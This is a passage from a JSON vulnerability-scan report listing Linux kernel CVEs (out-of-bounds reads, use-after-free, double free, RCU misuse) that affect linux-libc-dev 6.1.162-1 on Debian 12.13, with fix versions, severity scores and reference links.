"https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6d09626e1efd9f162a6d9f3aae63ea1988c52b8c5728910d49d16f65de60d31d", "Title": "kernel: wifi: b43legacy: enforce bounds check on firmware key index in RX path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: b43legacy: enforce bounds check on firmware key index in RX path\n\nSame fix as b43: the firmware-controlled key index in b43legacy_rx()\ncan exceed dev-\u003emax_nr_keys. The existing B43legacy_WARN_ON is\nnon-enforcing in production builds, allowing an out-of-bounds read of\ndev-\u003ekey[].\n\nMake the check enforcing by dropping the frame for invalid indices.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46163", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/a035766f970bde2d4298346a31a80685be5c0205%20%287.1-rc3%29", "https://git.kernel.org/stable/c/1baaeb6adecb9691748c0253dab6ddd19a2b4e9e", "https://git.kernel.org/stable/c/4242db36de99de734cc1f60e5edd86cda7e598c6", "https://git.kernel.org/stable/c/6ee946077607d7783ae6709a899213fc4fe08f35", "https://git.kernel.org/stable/c/9d1bc155802943e92c57a5fb923d23edfbf0b525", "https://git.kernel.org/stable/c/a035766f970bde2d4298346a31a80685be5c0205", "https://git.kernel.org/stable/c/a92bd0503df2488f2cc040f329ebccff1c1934cb", "https://git.kernel.org/stable/c/df805c1d085b7a96077f0964185764c87060950d", "https://git.kernel.org/stable/c/fdd4e51979f42ca8b1ab7e6176b607e1caabf2a5", "https://linux.oracle.com/cve/CVE-2026-46163.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052825-CVE-2026-46163-171e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46163", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46163" ], "PublishedDate": "2026-05-28T10:16:31.95Z", "LastModifiedDate": "2026-10-15T02:19:47.423Z" }, { "VulnerabilityID": "CVE-2026-46174", "VendorIDs": [ "DSA-6306-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.174-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46174", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1573f12a2726480923c634f20f68e8813ecfd78ae03690c835419ee58707a1e0", "Title": "kernel: x86/CPU/AMD: Prevent improper isolation of shared resources in Zen2's op cache", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/CPU/AMD: Prevent improper isolation of shared resources in Zen2's op cache\n\nMake sure resources are not improperly shared in the op cache and\ncause instruction corruption this way.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93413", "https://access.redhat.com/security/cve/CVE-2026-46174", "https://bugzilla.redhat.com/show_bug.cgi?id=2431602", "https://bugzilla.redhat.com/show_bug.cgi?id=2482549", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2513188", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535212", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89932", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93413", "https://git.kernel.org/linus/c21b90f77687075115d989e53a8ec5e2bb427ab1%20%287.1-rc4%29", "https://git.kernel.org/stable/c/1cd85a19748b2407830376a5cbae5c0f126016e5", "https://git.kernel.org/stable/c/1e23b30a80b14e5764657401ee2cca030525ae8e", "https://git.kernel.org/stable/c/251497955f2314cd39d43191e81c6151dead4c7b", "https://git.kernel.org/stable/c/28f5ed477eef166d678d6966762cbc1de9b4f436", "https://git.kernel.org/stable/c/9109489cc8c34e50d15575a3d1ff82af586bc1aa", "https://git.kernel.org/stable/c/c21b90f77687075115d989e53a8ec5e2bb427ab1", "https://git.kernel.org/stable/c/f5bc3aef7df46eaaf423d7413ab8833f704ae576", "https://git.kernel.org/stable/c/ff6fc65b3bf73acc5ee71919154d830ad5431362", "https://linux.oracle.com/cve/CVE-2026-46174.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026052828-CVE-2026-46174-e399@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46174", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7052.html", "https://www.cve.org/CVERecord?id=CVE-2026-46174" ], "PublishedDate": "2026-05-28T10:16:33.02Z", "LastModifiedDate": "2026-10-19T20:18:36.37Z" }, { "VulnerabilityID": "CVE-2026-46180", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46180", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:07a69ed6701eac6ddbcd849151cd10aa17c601fffac3b02356051de68fca0e33", "Title": "kernel: wifi: brcmfmac: Fix potential use-after-free issue when stopping watchdog task", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: Fix potential use-after-free issue when stopping watchdog task\n\nWatchdog task might end between send_sig() and kthread_stop() calls, what\nresults in the use-after-free issue. Fix this by increasing watchdog task\nreference count before calling send_sig() and dropping it by switching to\nkthread_stop_put().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46180", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/c623b63580880cc742255eaed3d79804c1b91143%20%287.1-rc3%29", "https://git.kernel.org/stable/c/658d2e46c2e9a8eb9b80c5e803ce3c89885b3366", "https://git.kernel.org/stable/c/908b92231e1ded53e43fcfad5e0704d83e1b803c", "https://git.kernel.org/stable/c/a21f735fb1017ef89c6f9dbf4d799513b4e7bd5a", "https://git.kernel.org/stable/c/c623b63580880cc742255eaed3d79804c1b91143", "https://git.kernel.org/stable/c/d16827cb1d3936f7627d0da6044483f743ebde03", "https://git.kernel.org/stable/c/d616bb10de79e5c2bd8a24230a1128aeaf715615", "https://git.kernel.org/stable/c/df2e90d6a9955510f24f1dada78cfc439fd9fa88", "https://git.kernel.org/stable/c/ed4168d1a50fef5be8eca947fbbf05a28507d265", "https://kernelcve.org/list/?q=CVE-2026-46180", "https://linux.oracle.com/cve/CVE-2026-46180.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052829-CVE-2026-46180-d14b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46180", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46180" ], "PublishedDate": "2026-05-28T10:16:33.643Z", "LastModifiedDate": "2026-11-06T17:17:42.807Z" }, { "VulnerabilityID": "CVE-2026-46181", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46181", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f2548e596c20be5cb61c0f550d8c6b0b5c80b5dc0a60550a6bb4bf474a39588b", "Title": "kernel: RDMA/mlx4: Fix mis-use of RCU in mlx4_srq_event()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mlx4: Fix mis-use of RCU in mlx4_srq_event()\n\nSashiko points out the radix_tree itself is RCU safe, but nothing ever\nfrees the mlx4_srq struct with RCU, and it isn't even accessed within the\nRCU critical section. It also will crash if an event is delivered before\nthe srq object is finished initializing.\n\nUse the spinlock since it isn't easy to make RCU work, use\nrefcount_inc_not_zero() to protect against partially initialized objects,\nand order the refcount_set() to be after the srq is fully initialized.", "Severity": "HIGH", "CweIDs": [ "CWE-366" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/errata/RHSA-2026:34443", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:35894", "https://access.redhat.com/errata/RHSA-2026:35896", "https://access.redhat.com/errata/RHSA-2026:36216", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/security/cve/CVE-2026-46181", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/c9341307ea16b9395c2e4c9c94d8499d91fe31d0%20%287.1-rc3%29", "https://git.kernel.org/stable/c/1e2a44875b6afb4add1115f7f3351dcbeb6f273d", "https://git.kernel.org/stable/c/2d8b30b496bc53e961ba7415fd629fc27813017c", "https://git.kernel.org/stable/c/654aeddbc6e0f6e56531985bb12328ab4230c6c1", "https://git.kernel.org/stable/c/8b7833f3bce35cb0d01c1503781523c099c675f0", "https://git.kernel.org/stable/c/c9341307ea16b9395c2e4c9c94d8499d91fe31d0", "https://git.kernel.org/stable/c/f0dbd9355ce1e93808541260c7ffab7956df9233", "https://linux.oracle.com/cve/CVE-2026-46181.html", "https://linux.oracle.com/errata/ELSA-2026-25217.html", "https://lore.kernel.org/linux-cve-announce/2026052829-CVE-2026-46181-ecff@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46181", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46181.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-46181" ], "PublishedDate": "2026-05-28T10:16:33.743Z", "LastModifiedDate": "2026-10-30T13:18:57.297Z" }, { "VulnerabilityID": "CVE-2026-46189", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46189", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:381a6078279dd355a6dccd2b0bbb03d04c13637140b430c5ecdfb5af43016ea8", "Title": "kernel: RDMA/vmw_pvrdma: Fix double free on pvrdma_alloc_ucontext() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/vmw_pvrdma: Fix double free on pvrdma_alloc_ucontext() error path\n\nSashiko points out that pvrdma_uar_free() is already called within\npvrdma_dealloc_ucontext(), so calling it before triggers a double free.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-763" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:33685", "https://access.redhat.com/errata/RHSA-2026:33743", "https://access.redhat.com/errata/RHSA-2026:35904", "https://access.redhat.com/errata/RHSA-2026:36049", "https://access.redhat.com/errata/RHSA-2026:36073", "https://access.redhat.com/errata/RHSA-2026:36767", "https://access.redhat.com/errata/RHSA-2026:38902", "https://access.redhat.com/errata/RHSA-2026:40068", "https://access.redhat.com/errata/RHSA-2026:40760", "https://access.redhat.com/errata/RHSA-2026:47633", "https://access.redhat.com/security/cve/CVE-2026-46189", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2482588", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://git.kernel.org/linus/e38e86995df27f1f854063dab1f0c6a513db3faf%20%287.1-rc3%29", "https://git.kernel.org/stable/c/0c63333ff97bd1275294fd12840a0efe9d7a4c59", "https://git.kernel.org/stable/c/1df5711121cdc11e76b889408fdbe459feba1d39", "https://git.kernel.org/stable/c/269967d7693304e1f06ed2dff4ebbbeeb397cda4", "https://git.kernel.org/stable/c/3a231c34c5bc3d3cfc850b877758ec9fdaa8a483", "https://git.kernel.org/stable/c/45d25e3ec17900bf5a9d6876ff16ceee31c4c0e0", "https://git.kernel.org/stable/c/935ee27d0904aa944cbcc979094c20e5ef62eead", "https://git.kernel.org/stable/c/e38e86995df27f1f854063dab1f0c6a513db3faf", "https://git.kernel.org/stable/c/ecc36a82ecfcfdf3c6606d209f22ec5543c410e0", "https://linux.oracle.com/cve/CVE-2026-46189.html", "https://linux.oracle.com/errata/ELSA-2026-33743.html", "https://lore.kernel.org/linux-cve-announce/2026052831-CVE-2026-46189-c188@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46189", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46189.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46189" ], "PublishedDate": "2026-05-28T10:16:34.54Z", "LastModifiedDate": "2026-11-06T17:17:43.48Z" }, { "VulnerabilityID": "CVE-2026-46191", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46191", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:61c33b395508ed64a7bb1a1908fe09c68b41f207465633a4b4f4f39a5440f0d8", "Title": "kernel: fbcon: Avoid OOB font access if console rotation fails", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbcon: Avoid OOB font access if console rotation fails\n\nClear the font buffer if the reallocation during console rotation fails\nin fbcon_rotate_font(). The putcs implementations for the rotated buffer\nwill return early in this case. See [1] for an example.\n\nCurrently, fbcon_rotate_font() keeps the old buffer, which is too small\nfor the rotated font. Printing to the rotated console with a high-enough\ncharacter code will overflow the font buffer.\n\nv2:\n- fix typos in commit message", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46191", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", 